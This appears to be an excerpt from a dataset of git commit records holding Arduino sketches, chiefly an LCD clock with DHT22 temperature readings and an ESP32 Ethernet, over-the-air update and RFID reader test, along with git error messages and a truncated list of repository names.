if(second != prevUpdateTimeSecond){\n prevUpdateTimeSecond = second;\n String dateString = generateDateTimeString(now.year(), now.month(), now.day(), now.hour(), now.minute(), now.second());\n printThisOnLCDLine(dateString, 0);\n }\n\n\n\n \/\/Every refresh interval\n if((second % REFRESH_INTERVAL) == 0 && second != prevIntervalReadingSecond){\n \/\/Prevent multiple readings every interval\n prevIntervalReadingSecond = second;\n Serial.println();\n Serial.print(\"Take DHT22 Readings: \");\n \n \n float DHTTemp = dht.readTemperature();\n float DHTHum = dht.readHumidity();\n \n\n Serial.print(DHTHum);\n Serial.print(\"\\t\");\n Serial.println(DHTTemp);\n \n\n\n\n\n generateAndPrintTempHumString(DHTTemp, DHTHum); \n\n \n\n\n }\n}\n\n\n\n\n \/\/Prevent too many execution since only need to check once a minute\n if(TURN_OFF_AT_TIMES && prevUpdateTurnOnAndOffMinute != minute){\n prevUpdateTurnOnAndOffMinute= minute;\n \n Serial.println(\"Checking time\");\n if(currentlyOn){\n \n if(hour == OFF_HOUR && minute == OFF_MIN){\n currentlyOn = false;\n lcd.clear();\n longSleep();\n }\n \n } else {\n\n if(hour == ON_HOUR && minute == ON_MIN){\n currentlyOn = true;\n } else {\n longSleep();\n }\n\n }\n } \n \n\n shortSleep();\n\n\n}\n\nvoid shortSleep(){\n Sleepy::loseSomeTime(SLEEP_INTERVAL); \n \n}\n\n\nvoid longSleep(){\n Sleepy::loseSomeTime(SLEEP_LONG_INTERVAL);\n}\n\n\nvoid generateAndPrintTempHumString(float temp, float hum){\n\n String tempString = ftoa(temp, 1);\n String humString = ftoa(hum, 1);\n \n String intermediate1 = \" \" + tempString + LCD_DEGREES_SYMBOL + \"C \";\n String intermediate2 = \" \" + humString + \"%\";\n \n lcd.setCursor (0, 1);\n lcd.write((byte) THERM_ICON_REP);\n lcd.print(intermediate1);\n lcd.write((byte) HUM_ICON_REP);\n lcd.print(intermediate2);\n \n}\n\n\nString generateTempHumString(float temp, float hum){\n String tempString = ftoa(temp, 1);\n String humString = ftoa(hum, 1);\n String result = \"P:\" + tempString + LCD_DEGREES_SYMBOL + \"C H:\" + humString + \"%\";\n return result;\n \n}\n\n\n\/\/Convert float\/double to String as ardiuno sprintf does not support float\/double\nString ftoa(double f, int precision)\n{\n long p[] = {0,10,100,1000,10000,100000,1000000,10000000,100000000};\n \n char temp[5];\n char * a = temp;\n long heiltal = (long)f;\n itoa(heiltal, a, 10);\n while (*a != '\\0') a++;\n *a++ = '.';\n long desimal = abs((long)((f - heiltal) * p[precision]));\n itoa(desimal, a, 10);\n String result = temp;\n return result;\n}\n\nvoid printThisOnLCDLine(String text, int line){\n\n \/\/Clear current line only if the new line cannot occupy the old line\n if(text.length() < LCD_CHAR_LENGTH){\n lcd.setCursor (0, line); \n lcd.print(\" \"); \n }\n\n lcd.setCursor (0, line); \n lcd.print(text);\n}\n\nString generateDateTimeString(int year, int month, int day, int hour, int minute, int second){\n char buff[3];\n\n sprintf(buff, \"%02d\", hour);\n String hourString = buff;\n\n sprintf(buff, \"%02d\", minute);\n String minuteString = buff;\n \n sprintf(buff, \"%02d\", second);\n String secondString = buff;\n \n String result = hourString + \":\" + minuteString + \":\" + secondString + \" \";\n \n String dayOfWeek = getDayOfTheWeek(year, month, day);\n \n sprintf(buff, \"%02d\", day);\n String dayString = buff;\n\n String monthString = getMonth(month);\n \n if(0 <= second && second <= 40){\n result += \" \" + dayOfWeek + \" \" + dayString;\n } else {\n result += monthString + year;\n }\n return result;\n}\n\n\n\n\/\/ From http:\/\/stackoverflow.com\/a\/21235587\nString getDayOfTheWeek(int y, int m, int d) {\n String weekdayname[] = {\"Sun\", \"Mon\", \"Tue\",\n \"Wed\", \"Thu\", \"Fri\", \"Sat\"};\n\n int weekday = (d+=m<3?y--:y-2,23*m\/9+d+4+y\/4-y\/100+y\/400)%7;\n \n \n return weekdayname[weekday];\n}\n\nString getMonth(int month){\n switch(month){\n case 1: return \"Jan\";\n case 2: return \"Feb\";\n case 3: return \"Mar\";\n \n case 4: return \"Apr\";\n case 5: return \"May\";\n case 6: return \"Jun\";\n \n case 7: return \"Jul\";\n case 8: return \"Aug\";\n case 9: return \"Sep\";\n \n case 10: return \"Oct\";\n case 11: return \"Nov\";\n case 12: return \"Dec\";\n default : return \"Nil\";\n }\n\n}\n\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sensor_clock_2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a5c1e208f4aa533cf1a466f90f1ba31668b2ecbc","subject":"beauty","message":"beauty\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"SPITest\/SPITest.ino","new_file":"SPITest\/SPITest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"6b9f275fa198a5100ad6433272f689fdeea1e674","subject":"you have to start somewhere \u2026","message":"you have to start somewhere \u2026\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"SPITest\/SPITest.ino","new_file":"SPITest\/SPITest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"01955555774878444e61615d6bd45cf7d11c46f9","subject":"Callback version - tested to work & stable.","message":"Callback version - tested to work & stable.\n","repos":"dirkx\/AccesSystem,dirkx\/AccesSystem,dirkx\/AccesSystem,dirkx\/AccesSystem","old_file":"test\/PoE-test\/ETH-LAN8720-OTA-MFRC522-callback\/ETH-LAN8720-OTA-MFRC522-callback.ino","new_file":"test\/PoE-test\/ETH-LAN8720-OTA-MFRC522-callback\/ETH-LAN8720-OTA-MFRC522-callback.ino","new_contents":"\/*\n This sketch shows the Ethernet event usage\n First light Aart 10-12-2017\n\n*\/\n\n#define ETH_PHY_ADDR 1\n#define ETH_PHY_MDC 23\n#define ETH_PHY_MDIO 18\n#define ETH_PHY_POWER 17\n#define ETH_PHY_TYPE ETH_PHY_LAN8720\n\n#if 0\n\/\/ Labeling as on the 'red' RFID MFRC522 boards and numbers\n\/\/ as per labels on the back of PoE board v1.00.\n\/\/\n\/\/ See also page 525 of https:\/\/pc7x.net\/archive\/misc\/ESP32_Programming.pdf\n\/\/\n#define MFRC522_SCK (14)\n#define MFRC522_MISO (12)\n#define MFRC522_MOSI (13)\n#define MFRC522_SS (15)\n#define MFRC522_3V3 \/* 3v3 *\/\n#define MFRC522_GND \/* gnd pin *\/\n#define MFRC522_IRQ (33)\n#define MFRC522_RSTO (32)\n#endif\n\n\/\/ Labeleing as per `blue' RFID MFRC522 - MSL 1471 'fixed'\n\/\/\n#define MFRC522_SDA (15)\n#define MFRC522_SCK (14)\n#define MFRC522_MOSI (13)\n#define MFRC522_MISO (12)\n#define MFRC522_IRQ (33)\n#define MFRC522_GND \/* gnd pin *\/\n#define MFRC522_RSTO (32)\n#define MFRC522_3V3 \/* 3v3 *\/\n\n#define MFRC522_SS MFRC522_SDA\n\n#include <ETH.h>\n#include <ArduinoOTA.h>\n\n#include <SPI.h>\n#include <MFRC522.h> \/\/ Requires modifed MFRC522 (see pull rq) or the -master branch as of late DEC 2017.\n\nSPIClass spirfid = SPIClass(VSPI);\nconst SPISettings spiSettings = SPISettings(SPI_CLOCK_DIV4, MSBFIRST, SPI_MODE0);\nMFRC522 mfrc522(MFRC522_SS, MFRC522_RSTO, &spirfid, spiSettings);\n\nstatic bool eth_connected = false;\n\nstatic bool ota = false;\nvoid enableOTA() {\n if (ota)\n return;\n\n \/\/ Port defaults to 3232\n \/\/ ArduinoOTA.setPort(3232);\n\n \/\/ Hostname defaults to esp3232-[MAC]\n \/\/ ArduinoOTA.setHostname(\"myesp32\");\n\n \/\/ No authentication by default\n \/\/ ArduinoOTA.setPassword(\"admin\");\n\n \/\/ Password can be set with it's md5 value as well\n \/\/ MD5(admin) = 21232f297a57a5a743894a0e4a801fc3\n \/\/ ArduinoOTA.setPasswordHash(\"21232f297a57a5a743894a0e4a801fc3\");\n\n\n ArduinoOTA.onStart([]() {\n String type;\n if (ArduinoOTA.getCommand() == U_FLASH)\n type = \"sketch\";\n else \/\/ U_SPIFFS\n type = \"filesystem\";\n\n \/\/ NOTE: if updating SPIFFS this would be the place to unmount SPIFFS using SPIFFS.end()\n Serial.println(\"Start updating \" + type);\n });\n\n ArduinoOTA.onEnd([]() {\n Serial.println(\"\\nEnd\");\n });\n\n ArduinoOTA.onError([](ota_error_t error) {\n Serial.printf(\"Error[%u]: \", error);\n if (error == OTA_AUTH_ERROR) Serial.println(\"Auth Failed\");\n else if (error == OTA_BEGIN_ERROR) Serial.println(\"Begin Failed\");\n else if (error == OTA_CONNECT_ERROR) Serial.println(\"Connect Failed\");\n else if (error == OTA_RECEIVE_ERROR) Serial.println(\"Receive Failed\");\n else if (error == OTA_END_ERROR) Serial.println(\"End Failed\");\n });\n\n ArduinoOTA.onProgress([](unsigned int progress, unsigned int total) {\n static int lp = -1 ;\n int p = progress \/ (total \/ 10);\n if (p != lp) Serial.printf(\"Progress: %u%%\\n\", p * 10);\n lp = p;\n });\n\n \/\/ Unfortunately - deep in OTA it auto defaults to Wifi. So we\n \/\/ force it to ETH -- requires pull RQ https:\/\/github.com\/espressif\/arduino-esp32\/issues\/944\n \/\/ and https:\/\/github.com\/espressif\/esp-idf\/issues\/1431.\n \/\/\n ArduinoOTA.begin(TCPIP_ADAPTER_IF_ETH);\n\n Serial.println(\"\\nOTA enabled.\\n\");\n ota = true;\n}\n\nvoid WiFiEvent(WiFiEvent_t event)\n{\n switch (event) {\n case SYSTEM_EVENT_ETH_START:\n Serial.println(\"ETH Started\");\n \/\/set eth hostname here\n ETH.setHostname(\"esp32-ethernet\");\n break;\n case SYSTEM_EVENT_ETH_CONNECTED:\n Serial.println(\"ETH Connected\");\n break;\n case SYSTEM_EVENT_ETH_GOT_IP:\n case SYSTEM_EVENT_STA_GOT_IP:\n Serial.print(\"ETH MAC: \");\n Serial.print(ETH.macAddress());\n Serial.print(\", IPv4: \");\n Serial.print(ETH.localIP());\n if (ETH.fullDuplex()) {\n Serial.print(\", FULL_DUPLEX\");\n }\n Serial.print(\", \");\n Serial.print(ETH.linkSpeed());\n Serial.printf(\"Mbps (event %d)\\n\", event);\n eth_connected = true;\n break;\n case SYSTEM_EVENT_ETH_DISCONNECTED:\n Serial.printf(\"ETH Disconnected (event %d)\\n\", event);\n eth_connected = false;\n break;\n case SYSTEM_EVENT_ETH_STOP:\n Serial.println(\"ETH Stopped\");\n eth_connected = false;\n break;\n default:\n Serial.printf(\"Unknown event %d\\n\", event);\n break;\n }\n}\n\nvoid testClient(const char * host, uint16_t port)\n{\n Serial.print(\"\\nconnecting to \");\n Serial.println(host);\n\n WiFiClient client;\n if (!client.connect(host, port)) {\n Serial.println(\"connection failed\");\n return;\n }\n client.printf(\"GET \/ HTTP\/1.1\\r\\nHost: %s\\r\\n\\r\\n\", host);\n while (client.connected() && !client.available());\n while (client.available()) {\n Serial.write(client.read());\n }\n\n Serial.println(\"closing connection\\n\");\n client.stop();\n}\n\nvolatile boolean irqCardSeen = false;\n\nvoid readCard() {\n irqCardSeen = true;\n}\n\n\/* The function sending to the MFRC522 the needed commands to activate the reception\n*\/\nvoid activateRec(MFRC522 mfrc522) {\n mfrc522.PCD_WriteRegister(mfrc522.FIFODataReg, mfrc522.PICC_CMD_REQA);\n mfrc522.PCD_WriteRegister(mfrc522.CommandReg, mfrc522.PCD_Transceive);\n mfrc522.PCD_WriteRegister(mfrc522.BitFramingReg, 0x87);\n}\n\n\/* The function to clear the pending interrupt bits after interrupt serving routine\n*\/\nvoid clearInt(MFRC522 mfrc522) {\n mfrc522.PCD_WriteRegister(mfrc522.ComIrqReg, 0x7F);\n}\n\nvoid setup()\n{\n const char * pname = rindex(__FILE__, '\/');\n\n Serial.begin(115200);\n Serial.print(\"\\n\\n\\nStart \");\n Serial.print(pname);\n Serial.println(\" \" __DATE__ \" \" __TIME__);\n\n WiFi.onEvent(WiFiEvent);\n\n ETH.begin();\n\n Serial.println(\"SPI init\");\n spirfid.begin(MFRC522_SCK, MFRC522_MISO, MFRC522_MOSI, MFRC522_SS);\n\n Serial.printf(\"MFRC522 init SPI=%p spi=%p setting=%d\/%d\/%d\\n\", &SPI, &spirfid, spiSettings._clock, spiSettings._bitOrder, spiSettings._dataMode);\n mfrc522.PCD_Init(); \/\/ Init MFRC522\n\n Serial.println(\"MFRC522 dump version\");\n mfrc522.PCD_DumpVersionToSerial(); \/\/ Show details of PCD - MFRC522 Card Reader details\n\n Serial.println(\"MFRC522 IRQ and callback setup.\");\n \n pinMode(MFRC522_IRQ, INPUT_PULLUP);\n attachInterrupt(digitalPinToInterrupt(MFRC522_IRQ), readCard, FALLING);\n\n byte regVal = 0xA0; \/\/rx irq\n mfrc522.PCD_WriteRegister(mfrc522.ComIEnReg, regVal);\n\n Serial.println(\"setup() done\");\n}\n\n\n\nvoid loop()\n{\n if (eth_connected) {\n if (ota)\n ArduinoOTA.handle();\n else\n enableOTA();\n }\n static unsigned long tock = 0;\n if (millis() - tock > 30 * 1000) {\n Serial.println(\"Tock - 30 seconds\");\n tock = millis();\n }\n\n#if 0\n static unsigned long google = 0;\n if (eth_connected && millis() - google > 60 * 1000) {\n testClient(\"google.com\", 80);\n google = millis();\n }\n#endif\n \/\/\n#if 0\n static byte i;\n pinMode(MFRC522_SS, OUTPUT);\n spirfid.beginTransaction(spiSettings);\n digitalWrite(MFRC522_SS, LOW);\n spirfid.transfer(i++);\n digitalWrite(MFRC522_SS, HIGH);\n spirfid.endTransaction();\n return;\n#endif\n\n if (irqCardSeen) {\n if (mfrc522.PICC_ReadCardSerial()) {\n MFRC522::Uid uid = mfrc522.uid;\n\n\n Serial.print(\"Card detected: len=(\");\n Serial.print(uid.size);\n Serial.print(\") \");\n\n for (int i = 0; i < uid.size; i++) {\n if (i) Serial.print(\"-\");\n Serial.print(uid.uidByte[i]);\n };\n Serial.println(\".\");\n };\n mfrc522.PICC_HaltA(); \/\/ Stop reading\n\n clearInt(mfrc522);\n irqCardSeen = false;\n };\n\n \/\/ Re-arm\/retrigger the scanning regularly.\n {\n static unsigned long reminderToRead = 0;\n if (millis() - reminderToRead > 100) {\n activateRec(mfrc522);\n reminderToRead = millis();\n }\n }\n \/\/ Dump debug info about the card; PICC_HaltA() is automatically called\n \/\/ mfrc522.PICC_DumpToSerial(&(mfrc522.uid));\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'test\/PoE-test\/ETH-LAN8720-OTA-MFRC522-callback\/ETH-LAN8720-OTA-MFRC522-callback.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"c212c9de9df11a0397e401623c7f7b4a5f559e8f","subject":"Added WiFiCheck example to Bridge Library","message":"Added WiFiCheck example to Bridge Library\n","repos":"stevemarple\/Arduino-org,gurbrinder\/Arduino,andyvand\/Arduino-1,leftbrainstrain\/Arduino-ESP8266,byran\/Arduino,vbextreme\/Arduino,NaSymbol\/Arduino,andrealmeidadomingues\/Arduino,probonopd\/Arduino,majenkotech\/Arduino,mc-hamster\/esp8266-Arduino,danielchalef\/Arduino,nandojve\/Arduino,snargledorf\/Arduino,spapadim\/Arduino,mangelajo\/Arduino,ForestNymph\/Arduino_sources,mangelajo\/Arduino,xxxajk\/Arduino-1,vbextreme\/Arduino,kidswong999\/Arduino,xxxajk\/Arduino-1,ccoenen\/Arduino,ashwin713\/Arduino,toddtreece\/esp8266-Arduino,mangelajo\/Arduino,probonopd\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,damellis\/Arduino,PeterVH\/Arduino,lulufei\/Arduino,gberl001\/Arduino,ForestNymph\/Arduino_sources,NeuralSpaz\/Arduino,gestrem\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,zaiexx\/Arduino,snargledorf\/Arduino,shannonshsu\/Arduino,danielchalef\/Arduino,jamesrob4\/Arduino,wdoganowski\/Arduino,sanyaade-iot\/Arduino-1,arunkuttiyara\/Arduino,smily77\/Arduino,adamkh\/Arduino,garci66\/Arduino,ccoenen\/Arduino,leftbrainstrain\/Arduino-ESP8266,ricklon\/Arduino,ccoenen\/Arduino,leftbrainstrain\/Arduino-ESP8266,Chris--A\/Arduino,tannewt\/Arduino,paulmand3l\/Arduino,zederson\/Arduino,garci66\/Arduino,ari-analytics\/Arduino,KlaasDeNys\/Arduino,PaoloP74\/Arduino,tommyli2014\/Arduino,ogferreiro\/Arduino,xxxajk\/Arduino-1,eduardocasarin\/Arduino,lulufei\/Arduino,shiitakeo\/Arduino,bigjosh\/Arduino,KlaasDeNys\/Arduino,Chris--A\/Arduino,laylthe\/Arduino,PeterVH\/Arduino,eduardocasarin\/Arduino,tskurauskas\/Arduino,Cloudino\/Arduino,scdls\/Arduino,mangelajo\/Arduino,bigjosh\/Arduino,ricklon\/Arduino,smily77\/Arduino,Cloudino\/Arduino,weera00\/Arduino,ForestNymph\/Arduino_sources,ForestNymph\/Arduino_sources,wilhelmryan\/Arduino,drpjk\/Arduino,jmgonzalez00449\/Arduino,zenmanenergy\/Arduino,arunkuttiyara\/Arduino,zenmanenergy\/Arduino,eggfly\/arduino,fungxu\/Arduino,SmartArduino\/Arduino-1,weera00\/Arduino,onovy\/Arduino,talhaburak\/Arduino,noahchense\/Arduino-1,noahchense\/Arduino-1,vbextreme\/Arduino,jaehong\/Xmegaduino,ntruchsess\/Arduino-1,gestrem\/Arduino,tommyli2014\/Arduino,rcook\/DesignLab,NeuralSpaz\/Arduino,sanyaade-iot\/Arduino-1,jaehong\/Xmegaduino,eeijcea\/Arduino-1,ntruchsess\/Arduino-1,plaintea\/esp8266-Arduino,probonopd\/Arduino,niggor\/Arduino_cc,lukeWal\/Arduino,fungxu\/Arduino,nandojve\/Arduino,HCastano\/Arduino,toddtreece\/esp8266-Arduino,eduardocasarin\/Arduino,nandojve\/Arduino,pdNor\/Arduino,lukeWal\/Arduino,bsmr-arduino\/Arduino,ricklon\/Arduino,koltegirish\/Arduino,ashwin713\/Arduino,EmuxEvans\/Arduino,acosinwork\/Arduino,me-no-dev\/Arduino-1,ForestNymph\/Arduino_sources,Chris--A\/Arduino,mateuszdw\/Arduino,plinioseniore\/Arduino,andyvand\/Arduino-1,ThoughtWorksIoTGurgaon\/Arduino,stickbreaker\/Arduino,arduino-org\/Arduino,drpjk\/Arduino,paulo-raca\/ESP8266-Arduino,shannonshsu\/Arduino,scdls\/Arduino,stevemayhew\/Arduino,Chris--A\/Arduino,me-no-dev\/Arduino-1,benwolfe\/esp8266-Arduino,plinioseniore\/Arduino,paulo-raca\/ESP8266-Arduino,cscenter\/Arduino,pdNor\/Arduino,tbowmo\/Arduino,henningpohl\/Arduino,smily77\/Arduino,tskurauskas\/Arduino,KlaasDeNys\/Arduino,UDOOboard\/Arduino,paulmand3l\/Arduino,nandojve\/Arduino,SmartArduino\/Arduino-1,plaintea\/esp8266-Arduino,Alfredynho\/AgroSis,smily77\/Arduino,raimohanska\/Arduino,NicoHood\/Arduino,niggor\/Arduino_cc,myrtleTree33\/Arduino,wayoda\/Arduino,karlitxo\/Arduino,ektor5\/Arduino,Cloudino\/Cloudino-Arduino-IDE,ikbelkirasan\/Arduino,ricklon\/Arduino,superboonie\/Arduino,damellis\/Arduino,adamkh\/Arduino,PeterVH\/Arduino,zenmanenergy\/Arduino,radut\/Arduino,andyvand\/Arduino-1,jamesrob4\/Arduino,PaoloP74\/Arduino,jaej-dev\/Arduino,noahchense\/Arduino-1,stevemarple\/Arduino-org,probonopd\/Arduino,wdoganowski\/Arduino,gonium\/Arduino,ntruchsess\/Arduino-1,myrtleTree33\/Arduino,rcook\/DesignLab,ThoughtWorksIoTGurgaon\/Arduino,stevemayhew\/Arduino,Alfredynho\/AgroSis,gberl001\/Arduino,jomolinare\/Arduino,Gourav2906\/Arduino,rcook\/DesignLab,pdNor\/Arduino,ssvs111\/Arduino,Cloudino\/Cloudino-Arduino-IDE,tommyli2014\/Arduino,plinioseniore\/Arduino,HCastano\/Arduino,bsmr-arduino\/Arduino,gberl001\/Arduino,ssvs111\/Arduino,bsmr-arduino\/Arduino,arduino-org\/Arduino,NaSymbol\/Arduino,kidswong999\/Arduino,adamkh\/Arduino,HCastano\/Arduino,wilhelmryan\/Arduino,arduino-org\/Arduino,KlaasDeNys\/Arduino,mboufos\/esp8266-Arduino,zaiexx\/Arduino,andrealmeidadomingues\/Arduino,shiitakeo\/Arduino,plaintea\/esp8266-Arduino,sanyaade-iot\/Arduino-1,HCastano\/Arduino,karlitxo\/Arduino,jaej-dev\/Arduino,majenkotech\/Arduino,fungxu\/Arduino,Gourav2906\/Arduino,eggfly\/arduino,snargledorf\/Arduino,Cloudino\/Arduino,ssvs111\/Arduino,tannewt\/Arduino,jaej-dev\/Arduino,OpenDevice\/Arduino,benwolfe\/esp8266-Arduino,superboonie\/Arduino,EmuxEvans\/Arduino,majenkotech\/Arduino,jaimemaretoli\/Arduino,raimohanska\/Arduino,me-no-dev\/Arduino-1,koltegirish\/Arduino,eggfly\/arduino,shannonshsu\/Arduino,Gourav2906\/Arduino,andrealmeidadomingues\/Arduino,mangelajo\/Arduino,nandojve\/Arduino,zenmanenergy\/Arduino,fungxu\/Arduino,OpenDevice\/Arduino,me-no-dev\/Arduino-1,adafruit\/ESP8266-Arduino,zaiexx\/Arduino,andyvand\/Arduino-1,mateuszdw\/Arduino,zederson\/Arduino,superboonie\/Arduino,sanyaade-iot\/Arduino-1,tommyli2014\/Arduino,NeuralSpaz\/Arduino,ntruchsess\/Arduino-1,ogahara\/Arduino,jmgonzalez00449\/Arduino,paulo-raca\/ESP8266-Arduino,andrealmeidadomingues\/Arduino,henningpohl\/Arduino,probonopd\/Arduino,bigjosh\/Arduino,acosinwork\/Arduino,steamboating\/Arduino,radut\/Arduino,jaimemaretoli\/Arduino,acosinwork\/Arduino,henningpohl\/Arduino,steamboating\/Arduino,spapadim\/Arduino,mattvenn\/Arduino,spapadim\/Arduino,acosinwork\/Arduino,arduino-org\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,eddyst\/Arduino-SourceCode,eeijcea\/Arduino-1,eeijcea\/Arduino-1,niggor\/Arduino_cc,cscenter\/Arduino,eddyst\/Arduino-SourceCode,ntruchsess\/Arduino-1,wilhelmryan\/Arduino,OpenDevice\/Arduino,adafruit\/ESP8266-Arduino,tannewt\/Arduino,jmgonzalez00449\/Arduino,jmgonzalez00449\/Arduino,laylthe\/Arduino,byran\/Arduino,paulmand3l\/Arduino,nkolban\/Arduino,gonium\/Arduino,eeijcea\/Arduino-1,Protoneer\/Arduino,eggfly\/arduino,plinioseniore\/Arduino,karlitxo\/Arduino,NicoHood\/Arduino,arunkuttiyara\/Arduino,OpenDevice\/Arduino,tbowmo\/Arduino,paulmand3l\/Arduino,SmartArduino\/Arduino-1,snargledorf\/Arduino,henningpohl\/Arduino,garci66\/Arduino,OpenDevice\/Arduino,lukeWal\/Arduino,tomkrus007\/Arduino,mangelajo\/Arduino,plaintea\/esp8266-Arduino,zederson\/Arduino,kidswong999\/Arduino,cscenter\/Arduino,jmgonzalez00449\/Arduino,lukeWal\/Arduino,eeijcea\/Arduino-1,ikbelkirasan\/Arduino,piersoft\/esp8266-Arduino,HCastano\/Arduino,bigjosh\/Arduino,pdNor\/Arduino,mattvenn\/Arduino,wdoganowski\/Arduino,chaveiro\/Arduino,jamesrob4\/Arduino,steamboating\/Arduino,myrtleTree33\/Arduino,jmgonzalez00449\/Arduino,chaveiro\/Arduino,majenkotech\/Arduino,stevemayhew\/Arduino,raimohanska\/Arduino,NicoHood\/Arduino,shiitakeo\/Arduino,wayoda\/Arduino,HCastano\/Arduino,ogahara\/Arduino,onovy\/Arduino,mattvenn\/Arduino,bigjosh\/Arduino,acosinwork\/Arduino,karlitxo\/Arduino,fungxu\/Arduino,radut\/Arduino,stickbreaker\/Arduino,stickbreaker\/Arduino,bsmr-arduino\/Arduino,mateuszdw\/Arduino,paulmand3l\/Arduino,tbowmo\/Arduino,steamboating\/Arduino,rcook\/DesignLab,paulmand3l\/Arduino,danielchalef\/Arduino,lulufei\/Arduino,raimohanska\/Arduino,xxxajk\/Arduino-1,andrealmeidadomingues\/Arduino,jaej-dev\/Arduino,mateuszdw\/Arduino,ntruchsess\/Arduino-1,lukeWal\/Arduino,leftbrainstrain\/Arduino-ESP8266,Protoneer\/Arduino,gberl001\/Arduino,tskurauskas\/Arduino,niggor\/Arduino_cc,jmgonzalez00449\/Arduino,kidswong999\/Arduino,NeuralSpaz\/Arduino,majenkotech\/Arduino,pdNor\/Arduino,ari-analytics\/Arduino,vbextreme\/Arduino,mc-hamster\/esp8266-Arduino,damellis\/Arduino,sanyaade-iot\/Arduino-1,PeterVH\/Arduino,myrtleTree33\/Arduino,weera00\/Arduino,jabezGit\/Arduino,wayoda\/Arduino,koltegirish\/Arduino,damellis\/Arduino,NaSymbol\/Arduino,zaiexx\/Arduino,noahchense\/Arduino-1,fungxu\/Arduino,tbowmo\/Arduino,wilhelmryan\/Arduino,ogahara\/Arduino,onovy\/Arduino,tommyli2014\/Arduino,acosinwork\/Arduino,mc-hamster\/esp8266-Arduino,ogahara\/Arduino,paulmand3l\/Arduino,garci66\/Arduino,eddyst\/Arduino-SourceCode,stevemarple\/Arduino-org,ikbelkirasan\/Arduino,gurbrinder\/Arduino,jamesrob4\/Arduino,gurbrinder\/Arduino,weera00\/Arduino,byran\/Arduino,henningpohl\/Arduino,ForestNymph\/Arduino_sources,gurbrinder\/Arduino,leftbrainstrain\/Arduino-ESP8266,danielchalef\/Arduino,mattvenn\/Arduino,sanyaade-iot\/Arduino-1,gonium\/Arduino,bigjosh\/Arduino,stickbreaker\/Arduino,superboonie\/Arduino,tbowmo\/Arduino,kidswong999\/Arduino,Cloudino\/Arduino,mateuszdw\/Arduino,kidswong999\/Arduino,Cloudino\/Cloudino-Arduino-IDE,OpenDevice\/Arduino,bsmr-arduino\/Arduino,Protoneer\/Arduino,eddyst\/Arduino-SourceCode,ektor5\/Arduino,gestrem\/Arduino,raimohanska\/Arduino,Chris--A\/Arduino,shannonshsu\/Arduino,eddyst\/Arduino-SourceCode,superboonie\/Arduino,arduino-org\/Arduino,jaej-dev\/Arduino,superboonie\/Arduino,jomolinare\/Arduino,bsmr-arduino\/Arduino,jmgonzalez00449\/Arduino,ricklon\/Arduino,andrealmeidadomingues\/Arduino,HCastano\/Arduino,steamboating\/Arduino,andyvand\/Arduino-1,NaSymbol\/Arduino,gestrem\/Arduino,eggfly\/arduino,spapadim\/Arduino,gonium\/Arduino,zenmanenergy\/Arduino,eddyst\/Arduino-SourceCode,kidswong999\/Arduino,garci66\/Arduino,NeuralSpaz\/Arduino,danielchalef\/Arduino,tommyli2014\/Arduino,ccoenen\/Arduino,aichi\/Arduino-2,lukeWal\/Arduino,tomkrus007\/Arduino,radut\/Arduino,ari-analytics\/Arduino,pdNor\/Arduino,chaveiro\/Arduino,adafruit\/ESP8266-Arduino,byran\/Arduino,stevemayhew\/Arduino,rcook\/DesignLab,shannonshsu\/Arduino,eduardocasarin\/Arduino,Chris--A\/Arduino,eduardocasarin\/Arduino,damellis\/Arduino,henningpohl\/Arduino,Cloudino\/Cloudino-Arduino-IDE,wayoda\/Arduino,gestrem\/Arduino,me-no-dev\/Arduino-1,chaveiro\/Arduino,cscenter\/Arduino,SmartArduino\/Arduino-1,shannonshsu\/Arduino,ikbelkirasan\/Arduino,wdoganowski\/Arduino,ntruchsess\/Arduino-1,steamboating\/Arduino,lulufei\/Arduino,talhaburak\/Arduino,arunkuttiyara\/Arduino,eggfly\/arduino,NicoHood\/Arduino,myrtleTree33\/Arduino,zederson\/Arduino,karlitxo\/Arduino,fungxu\/Arduino,paulo-raca\/ESP8266-Arduino,jomolinare\/Arduino,NicoHood\/Arduino,nandojve\/Arduino,arunkuttiyara\/Arduino,ogferreiro\/Arduino,wayoda\/Arduino,sanyaade-iot\/Arduino-1,damellis\/Arduino,jabezGit\/Arduino,gberl001\/Arduino,laylthe\/Arduino,smily77\/Arduino,adafruit\/ESP8266-Arduino,jaehong\/Xmegaduino,steamboating\/Arduino,UDOOboard\/Arduino,jabezGit\/Arduino,laylthe\/Arduino,NaSymbol\/Arduino,tomkrus007\/Arduino,aichi\/Arduino-2,PeterVH\/Arduino,scdls\/Arduino,ogferreiro\/Arduino,PaoloP74\/Arduino,spapadim\/Arduino,wdoganowski\/Arduino,garci66\/Arduino,bsmr-arduino\/Arduino,tskurauskas\/Arduino,eddyst\/Arduino-SourceCode,ricklon\/Arduino,jaimemaretoli\/Arduino,koltegirish\/Arduino,probonopd\/Arduino,snargledorf\/Arduino,majenkotech\/Arduino,Alfredynho\/AgroSis,wilhelmryan\/Arduino,nkolban\/Arduino,jaimemaretoli\/Arduino,talhaburak\/Arduino,tskurauskas\/Arduino,PaoloP74\/Arduino,zaiexx\/Arduino,stevemayhew\/Arduino,SmartArduino\/Arduino-1,ashwin713\/Arduino,pliniose